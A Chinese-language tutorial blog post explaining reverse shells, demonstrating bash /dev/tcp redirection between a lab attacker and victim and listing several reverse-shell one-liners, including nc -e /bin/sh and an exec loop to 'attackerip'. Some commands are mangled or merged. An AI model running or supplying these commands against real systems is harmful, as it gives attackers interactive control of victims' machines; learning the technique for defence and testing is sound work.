反彈shell是什么意思

*嚴正聲明:本文僅限于技術討論與分享,嚴禁用于非法途徑。

0x00 前言

反彈shell,就是控制端監(jiān)聽在某TCP/udp端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉到控制端。

通俗點說,反彈shell就是一種反向鏈接,與正向的ssh等不同,它是在對方電腦執(zhí)行命令連接到我方的攻擊模式,并且這種攻擊模式必須搭配遠程執(zhí)行命令漏洞來使用。

為什么要反彈shell? 通常用于被控端因防火墻受限、權限不足、端口被占用等情形。

假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規(guī)的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。

那么什么情況下正向連接不太好用了呢:

1.某客戶機中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。2.它的ip會動態(tài)改變,你不能持續(xù)控制。3.由于防火墻等限制,對方機器只能發(fā)送請求,不能接收請求。4.對于病毒,木馬,受害者什么時候能中招,對方的網(wǎng)絡環(huán)境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。

那么反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell。

0x01 反彈shell演示

我們用bash遠程代碼執(zhí)行漏洞實例來了解一下他的原理

攻擊端:10.100.40.5 受害機:192.168.197.136

首先我們需要在攻擊端去監(jiān)聽端口,通過這個端口來接收受害機反彈的shell
在攻擊端輸入命令nc -l 2333

反彈shell是什么意思

然后在受害機執(zhí)行命令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

反彈shell是什么意思

我們就發(fā)現(xiàn),在我們的攻擊端已經(jīng)成功出現(xiàn)了我們的受害端的shell,在我們的攻擊端就能對受害端來進行下一步操作

反彈shell是什么意思

例如:

反彈shell是什么意思

0x02 原理

2.1 反彈shell的命令原理

(1)bash -i

bash是linux的一個比較常見的shell,是許多Linux發(fā)行版的默認Shell。
-i這個參數(shù)的意思是產(chǎn)生交互式的shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的,如下圖:

反彈shell是什么意思

(3) 但是如果你在一方監(jiān)聽端口的情況下對這個文件進行讀寫,就能實現(xiàn)與監(jiān)聽端口的服務器的socket通信

我們輸出字符到/dev/tcp這個文件中

受害端:

反彈shell是什么意思

攻擊端:

反彈shell是什么意思

(4) 下面我們在看將輸出轉移到到受害端,在攻擊端繼續(xù)監(jiān)聽2333端口,并且在攻擊端輸入內(nèi)容回車就會出現(xiàn)在受害端。

反彈shell是什么意思

反彈shell是什么意思

(5)這樣思路就比較清晰了,下面再說交互重定向:

為了實現(xiàn)交互,我們需要把受害者交互式shell的輸出重定向到攻擊機上;

在受害者機器上輸入:

bash -i > /dev/tcp 10.100.40.5/2333

然后我們發(fā)現(xiàn)無論輸入什么指令都不會有回顯,回顯出現(xiàn)在了攻擊端標準輸出被定向到了攻擊端。

反彈shell是什么意思

反彈shell是什么意思

這樣只是回顯而已,并沒有辦法在攻擊端直接執(zhí)行命令。

(6)所以我們還需要將攻擊者輸入的指令輸入給受害者的bash:

bash -i < /dev/tcp/10.100.40.5/2333

這樣就會做到在攻擊端輸入命令,回顯到受害端:

反彈shell是什么意思

反彈shell是什么意思

(7)最重要的在與怎么將兩個操作結合起來,實現(xiàn)在攻擊端輸入攻擊端輸出,我們需要將輸出輸入都綁定到/dev/tcp這個文件下。

命令:

bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

反彈shell是什么意思

攻擊端:

反彈shell是什么意思

我們發(fā)現(xiàn)完全實現(xiàn)了我們的需求,在攻擊端執(zhí)行命令,并且回顯,這個命令,做到了輸入0是由/dev/tcp/192.168.146.129/2333輸入的,也就是攻擊機的輸入,命令執(zhí)行的結果1,會輸出到/dev/tcp/192.168.156.129/2333上,這就形成了一個回路,實現(xiàn)了我們遠程交互式shell的功能。
我們發(fā)現(xiàn)還是有一個小問題,我們可以看到,雖然命令執(zhí)行結果在攻擊端回顯,但是受害端依然是有命令回顯的,
所以我們需要解決這個問題
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

這樣命令就不會回顯到受害端了。

反彈shell是什么意思

就算是錯誤輸出也會輸出到攻擊端,這樣就達到了我們的目的。

反彈shell是什么意思

2.2 常見反彈shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0<&1 bash -i>& /dev/tcp/10.100.40.5/2333 0<&1

這兩個幾乎是一樣的唯一的區(qū)別是0>&1和0

(2) 方法二

bash -i >& /dev/tcp/10.100.40.5/2333 <&2 bash -i >& /dev/tcp/10.100.40.5/2333 0<&2

(3) 方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&amp1;done 0<&amp196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

? 版權聲明
THE END
喜歡就支持一下吧
點贊9 分享